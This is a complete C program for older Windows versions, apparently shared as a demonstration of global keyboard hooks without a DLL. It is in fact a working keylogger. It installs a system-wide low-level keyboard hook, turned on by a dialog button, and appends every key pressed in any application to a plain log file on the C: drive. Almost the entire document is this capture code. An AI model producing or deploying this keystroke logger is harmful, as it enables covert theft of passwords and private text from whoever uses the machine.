1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132
| / This code should work on Windows 2000, XP, or NT4 SP3 and higher versions
#define _WIN32_WINNT 0x0400
#include <windows.h>
HHOOK hHook; // Handle from global hook
HINSTANCE hExe; // Handle from our exe
// Hook Management Function
__declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)
{
if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
{
// This Struct gets infos on typed key
KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
// Find the letter of the typed key
char lettre=(char)hookstruct.vkCode;
// Bytes written counter for WriteFile()
DWORD Ecrits;
// Opening of a logfile. Creating it if it does not exists
HANDLE hFichier = CreateFile("C:\\logfile.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// If handle returned is valid then
if( hFichier != INVALID_HANDLE_VALUE)
{
// put the file pointer to the end
SetFilePointer(hFichier,NULL,NULL,FILE_END);
// Write the letter typed in logfile
WriteFile(hFichier,&lettre,1,&Ecrits,NULL);
// Close the file
CloseHandle(hFichier);
}
}
// Return messages to the system to allow others hooks.
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
//Dialogbox functions
BOOL CALLBACK MainDlgProc( HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam )
{
static HWND hBouton;//Button Handle
static int mystate;// State Flag from hook
switch( msg )
{
case WM_CLOSE: // When Click on closing [X]
// Closing the dialogbox
EndDialog( hDlg, TRUE );
return 1;
case WM_INITDIALOG: //Init of dialogbox
// Creating Activate / Disable button
hBouton = CreateWindow("BUTTON", "Activate hook", WS_CHILD | WS_VISIBLE , 50, 35,140, 30, hDlg, 0, 0, 0);
// Gets current exe HANDLE
hExe = GetModuleHandle(NULL);
// Put the state flag at 0 : hook unactivated
mystate=0;
// End of init
return 1;
case WM_COMMAND: // Click on the bouton
if( lParam == (long) hBouton)
{
if (!mystate) //If hook disabled then
{
// Activate hook
hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, NULL);
//Then put the state flag at 1 (hook active)
mystate=1;
// Change button text
SetWindowText(hBouton,"Disable hook");
}
else // If hook already active
{
// Disable hook
UnhookWindowsHookEx(hHook);
// Put flagstate to 0 (disabled)
mystate=0;
// Change button text
SetWindowText(hBouton,"Activate hook");
}
break;
}
}
return 0;
}
//Main Function : Creating a dialogbox without resources
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
{
// Mem alloc for our dialog template
LPDLGTEMPLATE lpdt = ( LPDLGTEMPLATE) GlobalAlloc(GPTR, 512);
if (!lpdt) return 1;
// Settings of the dialogbox
lpdt->style = WS_POPUP | WS_BORDER |WS_MINIMIZEBOX| WS_SYSMENU | DS_MODALFRAME | WS_CAPTION;
lpdt->x = 100; lpdt->y = 100; lpdt->cx = 120; lpdt->cy = 50;
// Set pointer on the dialogbox name zone
LPWSTR lpnom=(LPWSTR) (lpdt+1)+2;
// Convert in UNICODE name and set it in name zone
MultiByteToWideChar (CP_ACP, 0, "Global Hook without dll by HaTcH", -1, lpnom, 128);
// Run the dialogbox
DialogBoxIndirect(hInstance,lpdt,NULL,(DLGPROC)MainDlgProc);
// Free the allocated mem then quit
GlobalFree((HGLOBAL) lpdt);
return( FALSE );
} |